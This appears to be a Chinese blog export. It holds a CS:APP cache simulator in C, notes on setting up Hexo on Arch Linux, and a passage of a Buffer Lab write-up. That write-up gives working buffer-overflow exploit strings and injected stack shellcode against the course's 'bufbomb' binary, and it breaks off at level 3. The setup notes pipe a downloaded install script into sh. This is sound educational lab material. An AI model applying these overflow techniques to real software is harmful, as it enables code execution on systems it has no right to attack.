295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
/* include necessary headers */
#include "cachelab.h"

#include "getopt.h"
#include "stdlib.h"
#include "unistd.h"

#include "string.h"

#include "stdio.h"

#include "stdint.h"

/* cache struct definition */
typedef struct CSim_Cache_Entry {
char valid_bit;
uint64_t tag_bit;
}CSim_Cache_Entry;

typedef struct CSim_Cache_Set{
CSim_Cache_Entry * entries;
}CSim_Cache_Set;

typedef struct CSim_Cache {
/* basic arguments */
int block_offset;
int set_number;
int line_number;
/* masks and offsets */
int tag_offset;
int set_offset;
uint64_t tag_mask;
uint64_t set_mask;
/* cache */
CSim_Cache_Set * sets;
}CSim_Cache;

/* simulation result definition */
typedef struct CSim_Cache_Result {
int hit;
int miss;
int evict;
}CSim_Cache_Result;

/* operation type definition */
typedef enum CSIM_OPERATION_TYPE {
CSIM_OPERATION_TYPE_NONE,
CSIM_OPERATION_TYPE_MODIFY,
CSIM_OPERATION_TYPE_LOAD,
CSIM_OPERATION_TYPE_STORE,
}CSIM_OPERATION_TYPE;

/* operation result definition */
typedef enum CSIM_OPERATION_RESULT {
CSIM_OPERATION_RESULT_MISS,
CSIM_OPERATION_RESULT_HIT,
CSIM_OPERATION_RESULT_MISS_EVICTION,
}CSIM_OPERATION_RESULT;

/* error definition */
typedef enum CSIM_ERROR {
CSIM_OK = 0,
CSIM_ERROR_INVALID_OPTION,
CSIM_ERROR_MISSING_ARGUMENT,
CSIM_ERROR_FILE_CANNOT_OPEN,
CSIM_ERROR_OUT_OF_MEMORY,
}CSIM_ERROR;

/* macro definition for get a value given mask and offset */
#define csim_get_value(number, mask, offset) (((number) & (mask)) >> (offset))

/* function list */
/* message print functions */
void csim_print_help_info();
void csim_error_missing_argument();
void csim_error_file_cannot_open();
void csim_error_out_of_memory();
/* cache structure related functions */
CSim_Cache * csim_construct_cache(int set_number, int line_number, int block_offset);
void csim_deconstruct_cache(CSim_Cache ** pcache);
/* cache simulation function */
CSim_Cache_Result csim_parse_trace_file(CSim_Cache * cache, FILE * file_pointer, char verbose_flag);

/* global variable */
char * program_name = NULL;

void csim_print_help_info() {
printf("Usage: ./csim [-hv] -s <num> -E <num> -b <num> -t <file>\n");
printf("Options:\n");
printf(" -h Print this help message.\n");
printf(" -v Optional verbose flag.\n");
printf(" -s <num> Number of set index bits.\n");
printf(" -E <num> Number of lines per set.\n");
printf(" -b <num> Number of block offset bits.\n");
printf(" -t <file> Trace file.\n\n");
printf("Examples:\n");
printf(" linux> ./csim -s 4 -E 1 -b 4 -t traces/yi.trace\n");
printf(" linux> ./csim -v -s 8 -E 2 -b 4 -t traces/yi.trace\n");
}

void csim_error_missing_argument() {
printf("%s: Missing required command line argument\n", program_name);
csim_print_help_info();
}

void csim_error_file_cannot_open() {
printf("%s: No such file or directory\n", program_name);
}

void csim_error_out_of_memory() {
printf("%s: Out of memory\n", program_name);
}

CSim_Cache * csim_construct_cache(int set_number, int line_number, int block_offset) {
/* memory allocation */
CSim_Cache * cache = malloc(sizeof(CSim_Cache));
if (cache == NULL) {
csim_error_out_of_memory();
exit(CSIM_ERROR_OUT_OF_MEMORY);
}
/* configure basic arguments */
cache->set_number = set_number;
cache->line_number = line_number;
cache->block_offset = block_offset;
/* caculate masks and offsets */
cache->tag_mask = ((uint64_t)0xFFFFFFFFFFFFFFFF) << (block_offset + set_number);
cache->tag_offset = block_offset + set_number;
cache->set_mask = ((((((uint64_t)0xFFFFFFFFFFFFFFFF) << (64 - cache->tag_offset)) >> (64 - cache->tag_offset)) >> block_offset) << block_offset);
cache->set_offset = block_offset;
/* memory allocation for cache */
cache->sets = calloc((1 << set_number), sizeof(CSim_Cache_Set));
if (cache->sets == NULL) {
csim_error_out_of_memory();
exit(CSIM_ERROR_OUT_OF_MEMORY);
}
for (int index = 0 ; index < (1 << set_number) ; ++index) {
(cache->sets)[index].entries = calloc(line_number, sizeof(CSim_Cache_Entry));
if ((cache->sets)[index].entries == NULL) {
csim_error_out_of_memory();
exit(CSIM_ERROR_OUT_OF_MEMORY);
}
}
return cache;
}

void csim_deconstruct_cache(CSim_Cache ** pcache) {
/* release cache according to construct function */
CSim_Cache * temp = *pcache;
int set_number = temp->set_number;
for (int index = 0 ; index < set_number ; ++index) {
free((temp->sets)[index].entries);
}
free(temp->sets);
free(temp);
*pcache = NULL;
}

CSim_Cache_Result csim_parse_trace_file(CSim_Cache * cache, FILE * file_pointer, char verbose_flag) {
/* file I/O related */
char line[80];
char * line_pointer = NULL;
/* cache type and cache result */
CSIM_OPERATION_TYPE type;
CSIM_OPERATION_RESULT result;
/* address and set index & tag bis from it */
int address = 0;
int set = 0, tag = 0;
/* line number */
int line_number = cache->line_number;
/* simulation result */
CSim_Cache_Result summary = {0, 0, 0};
/* parsing process */
while (fgets(line, 80, file_pointer), feof(file_pointer) == 0) {
line_pointer = line;
type = CSIM_OPERATION_TYPE_NONE;
/* exclude instrction load */
if (*line_pointer++ == ' ') {
switch(*line_pointer++) {
case 'L':
type = CSIM_OPERATION_TYPE_LOAD;
if (verbose_flag) {
putchar('L');
}
break;
case 'S':
type = CSIM_OPERATION_TYPE_STORE;
if (verbose_flag) {
putchar('S');
}
break;
case 'M':
type = CSIM_OPERATION_TYPE_MODIFY;
if (verbose_flag) {
putchar('M');
}
break;
default:
type = CSIM_OPERATION_TYPE_NONE;
break;
}
result = CSIM_OPERATION_RESULT_MISS_EVICTION;
sscanf(line_pointer, "%x", &address);
if (verbose_flag) {
while ((*line_pointer) != '\n') {
putchar(*line_pointer++);
}
}
/* separate set and tag according to mask and offset */
set = csim_get_value(address, cache->set_mask, cache->set_offset);
tag = csim_get_value(address, cache->tag_mask, cache->tag_offset);
/* determine the cache result */
CSim_Cache_Entry * pentry = (cache->sets)[set].entries;
int index;
CSim_Cache_Entry temp;
for (index = 0; index < line_number ; ++index) {
if (!pentry[index].valid_bit) {
result = CSIM_OPERATION_RESULT_MISS;
break;
}
if (pentry[index].tag_bit == tag) {
result = CSIM_OPERATION_RESULT_HIT;
break;
}
}
/* simulate according to the result of cache behavior */
switch(result) {
case CSIM_OPERATION_RESULT_MISS:
if (verbose_flag) {
printf(" miss");
}
pentry[index].valid_bit = 1;
pentry[index].tag_bit = tag;
summary.miss++;
break;
case CSIM_OPERATION_RESULT_MISS_EVICTION:
if (verbose_flag) {
printf(" miss eviction");
}
pentry[0].tag_bit = tag;
temp = pentry[0];
for (index = 0 ; index < line_number - 1 ; ++index) {
pentry[index] = pentry[index + 1];
}
pentry[index] = temp;
summary.miss++;
summary.evict++;
break;
case CSIM_OPERATION_RESULT_HIT:
if (verbose_flag) {
printf(" hit");
}
temp = pentry[index];
for ( ; (index < line_number - 1) && (pentry[index + 1].valid_bit) ; ++index) {
pentry[index] = pentry[index + 1];
}
pentry[index] = temp;
summary.hit++;
break;
}
if (type == CSIM_OPERATION_TYPE_MODIFY) {
if (verbose_flag) {
printf(" hit");
}
summary.hit++;
}
if (verbose_flag) {
putchar('\n');
}
}
}
return summary;
}

int main(int argc, char *argv[]) {
/* variables for argument parsing */
char h = 0, v = 0, s = 0, E = 0, b = 0, t = 0;
int opt;
/* cache arguments */
int set_number = 0, line_number = 0, block_offset = 0;
/* cache */
CSim_Cache * cache = NULL;
/* file path */
char file_path[80];
/* verbose flag */
char verbose_flag = 0;
/* summary */
CSim_Cache_Result summary = {0, 0, 0};
/* pre-operation */
program_name = argv[0];
/* argument parsing */
while ((opt = getopt(argc, argv, "hvs:E:b:t:")) != -1) {
switch(opt) {
case 'h':
h = 1;
break;
case 'v':
v = 1;
verbose_flag = 1;
break;
case 's':
set_number = atoi(optarg);
if (set_number == 0) {
csim_error_missing_argument();
return CSIM_ERROR_MISSING_ARGUMENT;
}
s = 1;
break;
case 'E':
line_number = atoi(optarg);
if (line_number == 0) {
csim_error_missing_argument();
return CSIM_ERROR_MISSING_ARGUMENT;
}
E = 1;
break;
case 'b':
block_offset = atoi(optarg);
if (block_offset == 0) {
csim_error_missing_argument();
return CSIM_ERROR_MISSING_ARGUMENT;
}
b = 1;
break;
case 't':
t = 1;
strcpy(file_path, optarg);
break;
default:
csim_print_help_info();
return CSIM_ERROR_INVALID_OPTION;
break;
}
}
if (h == 1) {
csim_print_help_info();
return CSIM_OK;
}
if (v == 1) {
verbose_flag = 1;
}
if (!(s == 1 && E == 1 && b == 1 && t == 1)) {
csim_error_missing_argument();
return CSIM_ERROR_MISSING_ARGUMENT;
}
/* file processing */
FILE * file_pointer = fopen(file_path, "r");
if (file_pointer == NULL) {
csim_error_file_cannot_open(file_path);
return CSIM_ERROR_FILE_CANNOT_OPEN;
}
/* cache construction */
cache = csim_construct_cache(set_number, line_number, block_offset);
/* trace file parsing */
summary = csim_parse_trace_file(cache, file_pointer, verbose_flag);
/* summary */
printSummary(summary.hit, summary.miss, summary.evict);
/* post operations */
csim_deconstruct_cache(&cache);
fclose(file_pointer);
return CSIM_OK;
}

实验结果

自动评分脚本给出的输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@blackdragon ~/C/C/cachelab-handout> ./test-csim
Your simulator Reference simulator
Points (s,E,b) Hits Misses Evicts Hits Misses Evicts
3 (1,1,1) 9 8 6 9 8 6 traces/yi2.trace
3 (4,2,4) 4 5 2 4 5 2 traces/yi.trace
3 (2,1,4) 2 3 1 2 3 1 traces/dave.trace
3 (2,1,3) 167 71 67 167 71 67 traces/trans.trace
3 (2,2,3) 201 37 29 201 37 29 traces/trans.trace
3 (2,4,3) 212 26 10 212 26 10 traces/trans.trace
3 (5,1,5) 231 7 0 231 7 0 traces/trans.trace
6 (5,1,5) 265189 21775 21743 265189 21775 21743 traces/long.trace
27

TEST_CSIM_RESULTS=27

实验总结

由于在寒假的课程设计中已经使用过了命令行参数解析以及复杂的数据结构设计与实验,Part A总体上来说不是很难,我主要的精力花费在代码风格上,希望代码能尽量具有良好的架构以及可读性。

本部分中犯的错误有,直接根据s设置缓存的组数,而实际上的组数是2^s个。循环中由于手误导致出现死循环。没有搞清楚inline static关键字而导致的编译错误等等。存在知识的盲区也存在着粗心导致的错误,以后还需要更加注意。

评论和共享

近期将主力环境从macOS切换至Arch Linux,然后将博客从原环境迁移至现环境,本来以为过程会比较简单,结果却还是踩了几个坑,现在将配置过程中遇到的问题记录并且总结如下。

在Arch Linux中安装Git和Node.js

根据Hexo官方文档的说明,安装Hexo需要的依赖为Git和Node.js。
Git的安装比较简单,使用Arch Linux的默认包管理器pacman即可安装:

1
$ pacman -S git

Node.js官方文档推荐使用nvm安装,并且官方文档给出了安装脚本。
但是我的电脑使用的是伪fish——参考Arch Wiki,我通过的是通过给terminal emulator添加参数的方式进入fish的。
因此,我的默认shell仍然是bash。而该安装脚本在检测到我的默认shell之后直接将相关的导出环境变量的命令添加至了.bashrc,导致了进入fish之后由于相关的环境变量丢失无法找到nvm命令的问题。

  1. 第一种解决方法是采用Node.js的fish版安装脚本,该脚本托管在Github上,但是该脚本目前已不再被MAINTAINED,需要自行承担风险。
  2. 第二种解决方法是采用bass包装原始的nvm。

对于第二种解决方法,我们首先使用官方文档的安装脚本安装nvm:

1
$ wget -qO- https://raw.github.com/creationix/nvm/master/install.sh | sh

然后我们按照Github上的教程手动安装bass:
1
2
3
$ git clone https://github.com/edc/bass.git
$ cd bass
$ make install

最后我们建立如下的文件并重启终端,即可正常地在fish中使用nvm:
1
2
3
4
$ cat ~/.config/fish/functions/nvm.fish
function nvm
bass source ~/.nvm/nvm.sh --no-use ';' nvm $argv
end

使用nvm安装Node.js最新版本的命令如下:
1
$ nvm install v8.1.3

最后我们安装hexo:
1
$ npm install -g hexo-cli

hexo server报EMFILE错误

报错内容如下:

1
Error: EMFILE, too many open files

Hexo官网的问题解答中给出了如下描述:
虽然 Node.js 有非阻塞 I/O,同步 I/O 的数量仍被系统所限制,在生成大量静态文件的时候,您可能会碰到 EMFILE 错误,您可以尝试提高同步 I/O 的限制数量来解决此问题。
1
$ ulimit -n 10000

但是当我尝试使用ulimit的时候,却报了如下的错误:
1
Permission denied when changing resource of type 'Maximum number of open file descriptors'

在这之后进行了如下的尝试:

  1. 使用sudo无法运行ulimit,后su至root运行,虽然没有报错,但是使用ulimit -n查看发现修改失败。
  2. 尝试添加参数-S和-H,没有效果。
  3. 最后根据Arch Forum上的回答,修改了/etc/security/limits.conf文件并重启电脑,问题解决。

hexo server报ENOSPC错误

Hexo官网的问题解答中给出了如下描述:
它可以用过运行 $ npm dedupe 来解决,如果不起作用的话,可以尝试在 Linux 终端中运行下列命令:

1
$ echo fs.inotify.max_user_watches=524288 | sudo tee -a /etc/sysctl.conf && sudo sysctl -p

这将会提高你能监视的文件数量。
$ npm dedupe没有解决问题,最后使用上述的命令解决了问题。(注意在fish中,'&&'要用'COMMAND; and COMMAND'来替代)

评论和共享

实验答案托管在我的Github

Buffer Lab是《深入理解计算机系统》(第二版)中的缓冲区溢出实验,现在已经被Attack Lab替代。为了熟悉IA32的栈帧以及过程调用的原理,于2017年5月10日将该实验完成。

实验简介

Buffer Lab是传统的32位实验,现在已经被Attack Lab替代。在该实验中,需要利用缓冲区溢出漏洞生成攻击代码去修改一个32位的x86可执行程序的运行时行为。

该实验加深了对于栈规则的理解以及说明了缓冲区溢出漏洞可能造成的危险后果。

该实验同Attack Lab非常相似,但是仅仅采用了代码注入攻击作为攻击手段。同时,也要注意x86和x86_64有着不同的栈帧以及过程的调用方式。

IA32的栈帧以及过程调用

IA32的栈帧

IA32的栈帧同x86的栈帧相似,栈从高地址向低地址增长。寄存器%esp保存的是栈帧的栈顶(低地址),寄存器%ebp保存的是栈帧的栈底(高地址)。

调用者的栈帧主要包括了参数区以及返回地址。

被调用者的栈帧的栈底首先是保存的寄存器ebp值(指向调用者的栈底),然后是被保存的寄存器,局部变量以及临时空间,最后是参数构造区。

IA32的过程调用

IA32提供了如下的过程调用指令:

  • call 该指令将返回地址压入调用者的栈帧,并且将程序计数器%eip指向了被调用者的首地址
  • leave 该指令一般位于ret指令之前,等价于mov %ebp,%esp和pop %ebp,主要作用是回收栈空间,并且恢复栈顶(%esp)和栈底(%ebp)使得栈帧恢复为调用者栈帧
  • ret 该指令从栈中弹出返回地址并且让程序计数器eip指向该地址,使程序继续执行被调用者的下一条指令

IA32的过程调用遵循如下的规则:

  1. 首先执行call指令,call会在调用者的栈顶压入返回地址并且使程序计数器指向被调用者
  2. 然后保存调用者的栈底即push %ebp,并且将栈顶设置为被调用者的栈底即mov %esp,%ebp
  3. 分配局部的栈空间,主要用于临时变量的存储
  4. 执行被调用者的指令
  5. 执行leave,释放栈空间并重置栈顶(%esp)和栈底(%ebp),使得恢复为调用者栈帧
  6. 执行ret,过程返回并继续执行调用者的指令

IA32的参数传递规则:
同x86不同,IA32不使用寄存器进行参数的传递,IA32从右到左将参数依次压栈,然后调用相应的过程。

实验准备

实验讲义中主要包含了以下3个可执行文件:

  • bufbomb 你所要攻击的缓冲区炸弹程序
  • makecookie 根据你所输入的userid生成一个cookie
  • hex2raw 一个生成攻击字符串的工具

首先我们要输入userid生成一个cookie供后续使用,命令及结果如下:

1
2
3
user@BlackDragon ~/C/B/buflab-handout> ./makecookie BlackDragon > cookie                          
user@BlackDragon ~/C/B/buflab-handout> cat cookie
0x3dde924c

然后我们要将bufbomb反汇编以供后续攻击使用,命令及结果如下:

1
user@BlackDragon ~/C/B/buflab-handout> objdump -d bufbomb > bufbomb-disassemble

目标程序

目标程序的通过getbuf函数从标准输入流中读取字符串,并且该函数和Attack Lab中的函数一致,且具有缓冲区溢出的漏洞。这里不再赘述。

值得注意的是,bufbomb函数接受如下的参数:

  • -h 打印帮助信息
  • -u userid 你应该一直为程序提供该参数,因为远程计分服务器需要该参数,bufbomb也需要该参数去确定你生成的cookie以确定你的攻击满足了条件,并且若干关键的栈地址也和该userid生成的cookie有关
  • -n 进入’Nitro’模式,在阶段4中使用
  • -s 将你的攻击字符串作为结果提交至计分服务器

同Attack Lab一样,你需要使用hex2raw从攻击代码生成相应的攻击字符串,这里也不再赘述。

实验过程

阶段0:蜡烛(Candle)

在本实验中,关键函数getbuf被test函数调用,getbuf和test函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* getbuf */
#define NORMAL_BUFFER_SIZE ??
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}

/* test */
void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();

val = getbuf();

/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}

现在我们希望test函数从getbuf返回时不执行下一条代码,而是跳转至函数smoke,该函数如下:

1
2
3
4
5
6
void smoke()
{
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}

首先我们需要确定缓冲区的大小,观察bufbomb-disassemble中getbuf的反汇编结果,如下:

1
2
3
4
5
6
7
8
9
10
080491f4 <getbuf>:
80491f4: 55 push %ebp
80491f5: 89 e5 mov %esp,%ebp
80491f7: 83 ec 38 sub $0x38,%esp
80491fa: 8d 45 d8 lea -0x28(%ebp),%eax
80491fd: 89 04 24 mov %eax,(%esp)
8049200: e8 f5 fa ff ff call 8048cfa <Gets>
8049205: b8 01 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret

注意到函数总共开辟了0x38=56个字节的栈空间,然后lea -0x28(%ebp),%eax mov %eax,(%esp)进行了参数字符串起始地址的构造,考虑到栈从高地址向低地址延伸,而ebp指向栈底,我们可以推测缓冲区总共是0x28=40个字节。

经过实际测试,可以确定缓冲区确实是40个字节。

下面我们观察反汇编代码,可以得出函数smoke的起始地址为0x08048c18,根据以上的信息,我们的攻击代码如下:

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 18 8c 04 08 /* 保存的%ebp以及返回地址 */

在该阶段中,由于smoke直接使得程序退出,所以我们不需要在意保存的%ebp的值,直接通过缓冲区溢出覆盖返回地址即可。

下面我们使用hex2raw生成攻击字符串并测试。结果如下:

1
2
3
4
5
6
7
user@BlackDragon ~/C/B/buflab-handout> cat level0.txt|./hex2raw|./bufbomb -u BlackDragon             
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
run with level1

阶段0完成。

阶段1:火花(Sparkler)

现在,我们希望getbuf返回时跳转至函数fizz同时能伪装成已经传递了cookie作为参数,该函数如下:

1
2
3
4
5
6
7
8
9
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}

在该阶段中,我们需要注意IA32中,参数是通过调用者的栈进行传递的,我们观察fizz的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
08048c42 <fizz>:
8048c42: 55 push %ebp
8048c43: 89 e5 mov %esp,%ebp
8048c45: 83 ec 18 sub $0x18,%esp
8048c48: 8b 45 08 mov 0x8(%ebp),%eax
8048c4b: 3b 05 08 d1 04 08 cmp 0x804d108,%eax
8048c51: 75 26 jne 8048c79 <fizz+0x37>
8048c53: 89 44 24 08 mov %eax,0x8(%esp)
8048c57: c7 44 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp)
8048c5e: 08
8048c5f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c66: e8 55 fd ff ff call 80489c0 <__printf_chk@plt>
8048c6b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c72: e8 04 07 00 00 call 804937b <validate>
8048c77: eb 18 jmp 8048c91 <fizz+0x4f>
8048c79: 89 44 24 08 mov %eax,0x8(%esp)
8048c7d: c7 44 24 04 40 a3 04 movl $0x804a340,0x4(%esp)
8048c84: 08
8048c85: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048c8c: e8 2f fd ff ff call 80489c0 <__printf_chk@plt>
8048c91: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048c98: e8 63 fc ff ff call 8048900 <exit@plt>

从上述反汇编代码的第1行第4行和第5行,我们可以知道函数fizz的起始地址为0x08048c42,val保存在0x8(%ebp)中,cookie保存在固定的地址0x804d108中。根据以上的信息,我们的攻击代码如下:

1
2
3
4
5
6
7
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 42 8c 04 08 /* 保存的%ebp以及返回地址 */
00 00 00 00 4c 92 de 3d /* cookie */

在该攻击代码中,前48个字节同阶段0一样,只是将返回地址改成了了函数fizz的起始地址。而最后8个字节则是用来伪装成传递参数的。注意函数从getbuf返回后并不会真正的调用fizz函数,而只是依次的开始执行fizz的指令。

因此,从getbuf返回直到获取到参数val这整个过程中,首先getbuf返回会执行复位操作,将栈顶(%esp)指向第40个字节处(从0开始计算,下同),然后将0x0pop至栈底(%ebp),最后根据返回地址跳转至fizz并pop。现在栈顶(%esp)指向了第48个字节。紧接着,直接开始执行fizz的指令,将%ebp(0)入栈,直至执行到mov 0x8(%ebp),%eax,栈顶(%esp)指向第44个字节。所以,我们的cookie应当放在第(44+8=52)个字节处,直到第55个字节为止。

下面我们使用hex2raw生成攻击字符串并测试,如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level1.txt|./hex2raw|./bufbomb -u BlackDragon
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Fizz!: You called fizz(0x3dde924c)
VALID
NICE JOB!

阶段1完成。

阶段2:爆竹(FireCracker)

bufbomb中包含了一个全局变量global_value以及函数bang,如下:

1
2
3
4
5
6
7
8
9
10
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}

在该阶段中,我们希望函数能在返回时跳转至bang,但是在这之前,要将全局变量global_value的值设置为cookie。

该阶段同Attack Lab第1部分的等级2相似,我们需要将程序计数器%eip指向栈,在栈上执行相应的代码,实现相关的修改,最后从栈上返回至函数bang。

首先我们需要确定在进入getbuf时的栈地址,具体的命令和操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
user@BlackDragon ~/C/B/buflab-handout> gdb bufbomb                                           
GNU gdb (GDB) 7.12.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bufbomb...(no debugging symbols found)...done.
(gdb) break getbuf
Breakpoint 1 at 0x80491fa
(gdb) run -u BlackDragon
Starting program: /home/user/CSAPPLabs/BufferLab/buflab-handout/bufbomb -u BlackDragon
Userid: BlackDragon
Cookie: 0x3dde924c

Breakpoint 1, 0x080491fa in getbuf ()
(gdb) disas
Dump of assembler code for function getbuf:
0x080491f4 <+0>: push %ebp
0x080491f5 <+1>: mov %esp,%ebp
0x080491f7 <+3>: sub $0x38,%esp
=> 0x080491fa <+6>: lea -0x28(%ebp),%eax
0x080491fd <+9>: mov %eax,(%esp)
0x08049200 <+12>: call 0x8048cfa <Gets>
0x08049205 <+17>: mov $0x1,%eax
0x0804920a <+22>: leave
0x0804920b <+23>: ret
End of assembler dump.
(gdb) print /x $esp
$1 = 0x55682f18
(gdb) print /x $ebp
$2 = 0x55682f50

通过在gdb中添加断点并观察,我们可以确定在执行函数getbuf时,栈底(%ebp)的值为0x55682f50。

接下来我们要通过gcc和objdump生成攻击代码,具体的操作和Attack Lab相似,我们首先新建一个level2-exploit.s文件,在其中编写相应的攻击代码,如下:

1
2
3
4
mov $0x3dde924c, %eax
mov %eax, 0x804d100 ;设置全局变量
add $16, %esp ;修改栈顶
ret ;返回

然后我们依次使用gcc -m32 -c level2-exploit.sobjdump -d level2-exploit.o > level2-exploit.d将攻击代码汇编和反汇编,具体的命令和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@BlackDragon ~/C/B/buflab-handout> gcc -m32 -c level2-exploit.s                          
user@BlackDragon ~/C/B/buflab-handout> objdump -d level2-exploit.o > level2-exploit.d
user@BlackDragon ~/C/B/buflab-handout> cat level2-exploit.d

level2-exploit.o: 文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
0: b8 4c 92 de 3d mov $0x3dde924c,%eax
5: a3 00 d1 04 08 mov %eax,0x804d100
a: 83 c4 10 add $0x10,%esp
d: c3 ret
 

最后我们根据以上的信息来生成我们最终的攻击代码,如下:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 58 2f 68 55 /* 保存的%ebp以及返回地址(在栈上) */
b8 4c 92 de 3d a3 00 d1
04 08 83 c4 10 c3 00 00 /* 攻击代码 */
9d 8c 04 08  /* 返回地址指向函数bang */

下面我们使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level2.txt|./hex2raw|./bufbomb -u BlackDragon
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Bang!: You set global_value to 0x3dde924c
VALID
NICE JOB!

阶段2完成。

阶段3:炸药(Dynamite)

在前面的几个阶段中,我们所有的攻击都导致程序跳转至其他函数并退出。所以,使用会破坏栈的攻击代码是可行的。

在该阶段中,你需要修改程序的寄存器和内存状态,并且使程序能正确的返回值原调用者函数并且不出错。这就意味着你必须:

  1. 在栈上执行机器代码
  2. 将返回指针置于代码的起始
  3. 修复对栈造成的破坏

具体来说,你需要让函数getbuf返回cookie而不是1至函数test。注意到在test中当返回值为cookie时程序会输出”Boom!”。你的攻击代码应当将cookie设置为返回值,恢复任何被破坏的状态,将正确的返回地址push到栈上,最终执行ret指令。

对于该阶段,我们的思路如下:

  1. 缓冲区溢出的部分要保证保存的%ebp不变以方便后续的寻址过程(攻击代码中使用)。然后和阶段2一样,通过溢出使程序跳转至栈上执行相应的攻击代码
  2. 攻击代码首先将返回地址设置为正确的返回地址(调用者的下一条指令)
  3. 然后再将返回值(%eax)设置为cookie
  4. 最终修改栈顶(%esp)并ret

缓冲区溢出攻击后,我们期望的整个程序的执行过程如下:

  1. 跳转至栈上执行代码,此时%esp被修改至第48个字节处,且%ebp中存有正确的值。
  2. 程序执行攻击代码,该攻击代码重置了返回地址,覆盖了getbuf的返回值,修改了栈顶指针并ret
  3. 程序带着完整的栈状态和修改后的返回值返回至test函数,并继续执行

下面我们讨论一下攻击代码中具体的细节。

首先是保存的ebp的值到底是多少,这个我们可以在gdb中直接调试打印得出,为0x55682f80。
栈上的返回地址和阶段2一样,为0x55682f58。

然后我们的攻击代码如下:

1
2
3
4
5
mov $0x8048dbe, %eax ;将真正的返回地址送入%eax
mov %eax, -0x2c(%ebp) ;将%eax送入栈上的正确位置
mov $0x3dde924c, %eax ;修改返回值
sub $4, %esp ;修改栈顶%esp
ret

这里讨论一下为什么是-0x2c(%ebp),保存的%ebp是调用者的栈底,我们观察调用者函数test的反汇编代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
08048daa <test>:
8048daa: 55 push %ebp
8048dab: 89 e5 mov %esp,%ebp
8048dad: 53 push %ebx
8048dae: 83 ec 24 sub $0x24,%esp
8048db1: e8 da ff ff ff call 8048d90 <uniqueval>
8048db6: 89 45 f4 mov %eax,-0xc(%ebp)
8048db9: e8 36 04 00 00 call 80491f4 <getbuf>
8048dbe: 89 c3 mov %eax,%ebx
8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval>
8048dc5: 8b 55 f4 mov -0xc(%ebp),%edx
8048dc8: 39 d0 cmp %edx,%eax
8048dca: 74 0e je 8048dda <test+0x30>
8048dcc: c7 04 24 88 a3 04 08 movl $0x804a388,(%esp)
8048dd3: e8 e8 fa ff ff call 80488c0 <puts@plt>
8048dd8: eb 46 jmp 8048e20 <test+0x76>
8048dda: 3b 1d 08 d1 04 08 cmp 0x804d108,%ebx
8048de0: 75 26 jne 8048e08 <test+0x5e>
8048de2: 89 5c 24 08 mov %ebx,0x8(%esp)
8048de6: c7 44 24 04 2a a5 04 movl $0x804a52a,0x4(%esp)
8048ded: 08
8048dee: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048df5: e8 c6 fb ff ff call 80489c0 <__printf_chk@plt>
8048dfa: c7 04 24 03 00 00 00 movl $0x3,(%esp)
8048e01: e8 75 05 00 00 call 804937b <validate>
8048e06: eb 18 jmp 8048e20 <test+0x76>
8048e08: 89 5c 24 08 mov %ebx,0x8(%esp)
